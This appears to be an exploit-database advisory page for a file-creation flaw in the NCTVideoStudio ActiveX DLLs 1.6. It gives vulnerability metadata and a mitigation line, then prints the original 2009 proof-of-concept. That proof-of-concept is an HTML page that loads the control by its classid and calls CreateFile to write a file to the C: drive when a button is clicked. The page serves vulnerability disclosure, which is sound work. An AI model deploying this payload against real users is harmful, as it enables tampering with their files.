NCTVideoStudio ActiveX DLLs Version 1.6 Insecure Method File Creation

vendor:

Windows

by:

Mountassif Moad a.k.a Stack

5.5

CVSS

MEDIUM

Insecure Method File Creation

CWE

Product Name: Windows

Affected Version From: 1.6

Affected Version To: 1.6

Patch Exists: YES

Related CWE: CVE-2019-14092

CPE: o:microsoft:windows

Metasploit: N/A

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=150666, https://www.infosecmatter.com/nessus-plugin-library/?id=150510, https://www.infosecmatter.com/nessus-plugin-library/?_page=22

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 98/Me/NT/2000/XP

2019

NCTVideoStudio ActiveX DLLs Version 1.6 Insecure Method File Creation

NCTVideoStudio ActiveX DLLs Version 1.6 is vulnerable to insecure method file creation. This vulnerability allows an attacker to create arbitrary files on the vulnerable system.

Mitigation:

Upgrade to the latest version of NCTVideoStudio ActiveX DLLs.

Source

Exploit-DB raw data:

<HTML>
<b> NCTVideoStudio ActiveX DLLs Version 1.6 Insecure Method File Creation </b>
<b>   <br/><br/>
 Author : Mountassif Moad a.k.a Stack    <br/>  <br/>  <br/>
 
<b/>
RegKey Safe for Script: False<br/>
RegKey Safe for Init: False<br/>
Implements IObjectSafety: True<br/>
IDisp Safe:  Safe for untrusted: caller,data  <br/><br/><br/>
<!--  
       Read Me :d:)
       NCTVideoStudio is the package of ActiveX DLL's, which is intended for work with video data.
      NCTVideoStudio includes the following ActiveX DLL's:
    - NCTAudioFile2 which allows you to read and write audio files;
    - NCTAudioRecord2 which allows you to record audio from any audio source device installed in the system;
    - NCTAudioPlayer2 which allows you to play audio data;
    - NCTAudioTransform2 which allows you to apply various effects and transformations to audio data;
    - NCTImageFile which allows you to load and save image files;
    - NCTVideoCompose which allow you to compose video frames using specified effects;
    - NCTVideoCompress which allows you to compress video frames in memory;
    - NCTVideoDxCapture which allows you to capture video and audio from any video source devices (including DV cameras, Webcams and TV tuners);
    - NCTVideoDxPlayer which allows you to preview video files;
    - NCTVideoFile which allows you to read and write video files of various formats;
    - NCTVideoPlayer  which allow you to playback video file;
    - NCTVideoTransform  which allows you to apply different photographic filters, effects, transformations to video frames;
    - NCTVideoView which allows you to visualize video frames;
    - NCTWMVBroadcast which allow you to broadcast video data via network;
 
    - under Windows 98/Me/NT/2000/XP
------------------------------------------------------------------------------------------------
INSTALLATION:
  run NCTVideoStudio.exe
------------------------------------------------------------------------------------------------
SYSTEM REQUIREMENTS:
  Any Win32 based platform (except WinCE);
  Any developer environment which supports COM objects manipulation;
------------------------------------------------------------------------------------------------
SUPPORT:
 You can send any questions, comments and suggestions to support@nctsoft.com
------------------------------------------------------------------------------------------------
INFORMATION:
 Visit main product page at http://www.nctsoft.com/products/NCTVideoStudio/
------------------------------------------------------------------------------------------------
hats new in Release 1.4.1
The general features of NCTVideoStudio news are:
New control for video data broadcast (NCTWMVBroadcastService).  It allows to broadcast video data via network.
New control for video composing (NCTVideoCompose).  It allows to compose video frames using specified effects.
Some changes in the NCTVideoFile control:
New methods
        GetKeyFrameCount;
        GetKeyFrameNum;
        IsKeyFrame;
Modified method
        SetAVIAudioFormatPCM;
Modified event
        ParsingVideoFile;
Change in the NCTVideoTransform control:
added the EffectDeinterlace method.
Fixed founded bugs.
 -->
<BODY>
<object classid='clsid:6ED74AE3-8066-4385-AABA-243E033F75A3' id='test'></object>
<SCRIPT>
/*
RegKey Safe for Script: khatae
RegKey Safe for Init: khatae
Implements IObjectSafety: Sahih
IDisp Safe:  Safe for untrusted: caller,data 
*/
function Mm()
 {
     File = "c:\\system_.ini"
   test.CreateFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Mm() type=button value="Click Here For Test Exploit"><br>
</body>
</HTML>

# milw0rm.com [2009-01-26]